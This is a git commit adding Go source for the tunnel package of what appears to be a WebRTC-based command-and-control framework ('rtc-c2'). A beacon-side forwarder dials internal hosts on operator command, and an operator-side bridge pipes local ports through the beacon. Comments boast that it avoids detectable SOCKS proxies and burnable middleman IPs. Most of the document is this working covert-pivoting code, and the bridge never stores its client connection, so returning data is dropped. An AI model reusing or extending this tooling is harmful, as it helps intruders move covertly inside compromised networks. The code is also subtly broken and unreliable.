Upload files to "rtc-c2/pkg/tunnel"

2026-06-10 17:20:40 +00:00
parent 4568bfa5c3
commit 3dca1219d4
2 changed files with 334 additions and 0 deletions
@@ -0,0 +1,127 @@
+package tunnel
+
+import (
+	"fmt"
+	"io"
+	"log"
+	"net"
+	"strings"
+	"sync"
+	"time"
+)
+
+// Forwarder runs on the beacon side. It accepts tunnel open requests
+// from the operator (via WebRTC data channel), connects to the target
+// internally, and bridges data bidirectionally.
+type Forwarder struct {
+	OnTunnelData func(tunnelID TunnelID, data []byte)
+	OnTunnelErr  func(tunnelID TunnelID, err error)
+	mu           sync.Mutex
+	connections  map[TunnelID]net.Conn
+}
+
+// NewForwarder creates a new tunnel forwarder for the beacon.
+func NewForwarder() *Forwarder {
+	return &Forwarder{
+		connections: make(map[TunnelID]net.Conn),
+	}
+}
+
+// HandleMessage processes a tunnel message from the operator.
+// Message format (simple text-based, no proxy protocol):
+//
+//	"OPEN:host:port"  — open a new connection to target
+//	"CLOSE"            — close this tunnel
+//	<raw bytes>        — data to forward to the target
+func (f *Forwarder) HandleMessage(tunnelID TunnelID, raw []byte) {
+	msg := string(raw)
+
+	switch {
+	case strings.HasPrefix(msg, "OPEN:"):
+		target := strings.TrimPrefix(msg, "OPEN:")
+		log.Printf("[forwarder] tunnel open -> %s (id: %s)", target, tunnelID)
+		go f.openTunnel(tunnelID, target)
+
+	case msg == "CLOSE":
+		log.Printf("[forwarder] tunnel close (id: %s)", tunnelID)
+		f.closeTunnel(tunnelID)
+
+	default:
+		// Raw data to forward to the target connection
+		f.forwardData(tunnelID, raw)
+	}
+}
+
+func (f *Forwarder) openTunnel(tunnelID TunnelID, target string) {
+	conn, err := net.DialTimeout("tcp", target, 10*time.Second)
+	if err != nil {
+		log.Printf("[forwarder] dial %s failed: %v", target, err)
+		if f.OnTunnelErr != nil {
+			f.OnTunnelErr(tunnelID, fmt.Errorf("dial %s: %w", target, err))
+		}
+		return
+	}
+
+	f.mu.Lock()
+	f.connections[tunnelID] = conn
+	f.mu.Unlock()
+
+	log.Printf("[forwarder] tunnel connected to %s (id: %s)", target, tunnelID)
+
+	// Read from target and send back through WebRTC tunnel
+	buf := make([]byte, 16384)
+	for {
+		conn.SetReadDeadline(time.Now().Add(60 * time.Second))
+		n, err := conn.Read(buf)
+		if err != nil {
+			if err != io.EOF {
+				log.Printf("[forwarder] read from %s: %v", target, err)
+			}
+			f.closeTunnel(tunnelID)
+			return
+		}
+		if f.OnTunnelData != nil {
+			f.OnTunnelData(tunnelID, buf[:n])
+		}
+	}
+}
+
+func (f *Forwarder) forwardData(tunnelID TunnelID, data []byte) {
+	f.mu.Lock()
+	conn, ok := f.connections[tunnelID]
+	f.mu.Unlock()
+
+	if !ok {
+		log.Printf("[forwarder] unknown tunnel id: %s", tunnelID)
+		return
+	}
+
+	if _, err := conn.Write(data); err != nil {
+		log.Printf("[forwarder] write error on %s: %v", tunnelID, err)
+		f.closeTunnel(tunnelID)
+	}
+}
+
+func (f *Forwarder) closeTunnel(tunnelID TunnelID) {
+	f.mu.Lock()
+	conn, ok := f.connections[tunnelID]
+	delete(f.connections, tunnelID)
+	f.mu.Unlock()
+
+	if ok && conn != nil {
+		conn.Close()
+		log.Printf("[forwarder] closed tunnel: %s", tunnelID)
+	}
+}
+
+// Close terminates all active tunnel connections.
+func (f *Forwarder) Close() error {
+	f.mu.Lock()
+	defer f.mu.Unlock()
+
+	for id, conn := range f.connections {
+		conn.Close()
+		delete(f.connections, id)
+	}
+	return nil
+}
@@ -0,0 +1,207 @@
+// Package tunnel provides direct TCP forward tunnels over WebRTC data channels.
+// Instead of SOCKS5 proxies (which are detectable and require proxy software),
+// this creates raw TCP forwarders — like SSH -L style port forwarding.
+// The operator sets up a local listener, any connection gets wrapped in
+// WebRTC data channel messages, and the beacon bridges to the real target.
+//
+// No proxy protocol. No proxychains. No middleman IPs to burn.
+// Just clean TCP over encrypted WebRTC.
+
+package tunnel
+
+import (
+	"fmt"
+	"io"
+	"log"
+	"net"
+	"sync"
+	"time"
+)
+
+// TunnelID uniquely identifies a tunnel connection.
+type TunnelID string
+
+// TunnelConn represents one proxied connection through the tunnel.
+type TunnelConn struct {
+	ID      TunnelID
+	Target  string // host:port
+	Conn    net.Conn
+	Created time.Time
+}
+
+// Bridge tracks active tunnel connections and routes data between
+// local sockets and the WebRTC data channel.
+type Bridge struct {
+	OnData  func(tunnelID TunnelID, data []byte)
+	OnClose func(tunnelID TunnelID)
+	mu      sync.RWMutex
+	conns   map[TunnelID]*TunnelConn
+}
+
+// NewBridge creates a new tunnel bridge.
+func NewBridge() *Bridge {
+	return &Bridge{
+		conns: make(map[TunnelID]*TunnelConn),
+	}
+}
+
+// ForwardHandle accepts a raw TCP connection and tunnels it through
+// the WebRTC data channel to the specified target (reaches via beacon).
+// No SOCKS handshake — just pure TCP over WebRTC.
+func (b *Bridge) ForwardHandle(client net.Conn, target string, tunnelID TunnelID) {
+	defer client.Close()
+
+	log.Printf("[tunnel] forward: %s -> %s", tunnelID, target)
+
+	tc := &TunnelConn{
+		ID:      tunnelID,
+		Target:  target,
+		Created: time.Now(),
+	}
+
+	b.mu.Lock()
+	b.conns[tunnelID] = tc
+	b.mu.Unlock()
+
+	defer func() {
+		b.mu.Lock()
+		delete(b.conns, tunnelID)
+		b.mu.Unlock()
+	}()
+
+	// Send tunnel open request to beacon
+	if b.OnData != nil {
+		b.OnData(tunnelID, []byte(fmt.Sprintf("OPEN:%s", target)))
+	}
+
+	// Bridge: local -> WebRTC tunnel
+	buf := make([]byte, 16384)
+	for {
+		client.SetReadDeadline(time.Now().Add(30 * time.Second))
+		n, err := client.Read(buf)
+		if err != nil {
+			if err != io.EOF && !isNetTimeout(err) {
+				log.Printf("[tunnel] read error on %s: %v", tunnelID, err)
+			}
+			break
+		}
+		if b.OnData != nil {
+			b.OnData(tunnelID, buf[:n])
+		}
+	}
+
+	// Tell beacon to close this tunnel
+	if b.OnData != nil {
+		b.OnData(tunnelID, []byte("CLOSE"))
+	}
+}
+
+// HandleData processes incoming tunnel data from the beacon
+// and writes it to the local connection.
+func (b *Bridge) HandleData(tunnelID TunnelID, data []byte) {
+	b.mu.RLock()
+	tc, ok := b.conns[tunnelID]
+	b.mu.RUnlock()
+
+	if !ok || tc.Conn == nil {
+		return
+	}
+
+	if _, err := tc.Conn.Write(data); err != nil {
+		log.Printf("[tunnel] write error on %s: %v", tunnelID, err)
+	}
+}
+
+// CloseTunnel closes a specific tunnel connection.
+func (b *Bridge) CloseTunnel(tunnelID TunnelID) {
+	b.mu.Lock()
+	tc, ok := b.conns[tunnelID]
+	delete(b.conns, tunnelID)
+	b.mu.Unlock()
+
+	if ok && tc.Conn != nil {
+		tc.Conn.Close()
+	}
+}
+
+// CloseAll closes all tunnel connections.
+func (b *Bridge) CloseAll() {
+	b.mu.Lock()
+	defer b.mu.Unlock()
+
+	for id, tc := range b.conns {
+		if tc.Conn != nil {
+			tc.Conn.Close()
+		}
+		delete(b.conns, id)
+	}
+}
+
+// ForwardListener manages a single port forward mapping.
+type ForwardListener struct {
+	LocalAddr  string
+	TargetAddr string
+	TunnelID   string
+	listener   net.Listener
+	bridge     *Bridge
+	running    bool
+	mu         sync.Mutex
+}
+
+// StartForwardListener creates and starts a direct TCP forward listener.
+func (b *Bridge) StartForwardListener(localAddr, targetAddr string) (*ForwardListener, error) {
+	listener, err := net.Listen("tcp", localAddr)
+	if err != nil {
+		return nil, fmt.Errorf("forward listen on %s: %w", localAddr, err)
+	}
+
+	fl := &ForwardListener{
+		LocalAddr:  localAddr,
+		TargetAddr: targetAddr,
+		TunnelID:   fmt.Sprintf("fwd-%s-%s", localAddr, targetAddr),
+		listener:   listener,
+		bridge:     b,
+		running:    true,
+	}
+
+	go func() {
+		connID := 0
+		for {
+			conn, err := listener.Accept()
+			if err != nil {
+				fl.mu.Lock()
+				if !fl.running {
+					fl.mu.Unlock()
+					return
+				}
+				fl.mu.Unlock()
+				log.Printf("[forward] accept error on %s: %v", localAddr, err)
+				return
+			}
+			connID++
+			tid := TunnelID(fmt.Sprintf("%s-%d", fl.TunnelID, connID))
+			go b.ForwardHandle(conn, targetAddr, tid)
+		}
+	}()
+
+	log.Printf("[forward] %s -> %s (via beacon)", localAddr, targetAddr)
+	return fl, nil
+}
+
+// Stop shuts down the forward listener.
+func (fl *ForwardListener) Stop() {
+	fl.mu.Lock()
+	fl.running = false
+	if fl.listener != nil {
+		fl.listener.Close()
+	}
+	fl.mu.Unlock()
+	log.Printf("[forward] stopped %s -> %s", fl.LocalAddr, fl.TargetAddr)
+}
+
+func isNetTimeout(err error) bool {
+	if netErr, ok := err.(net.Error); ok {
+		return netErr.Timeout()
+	}
+	return false
+}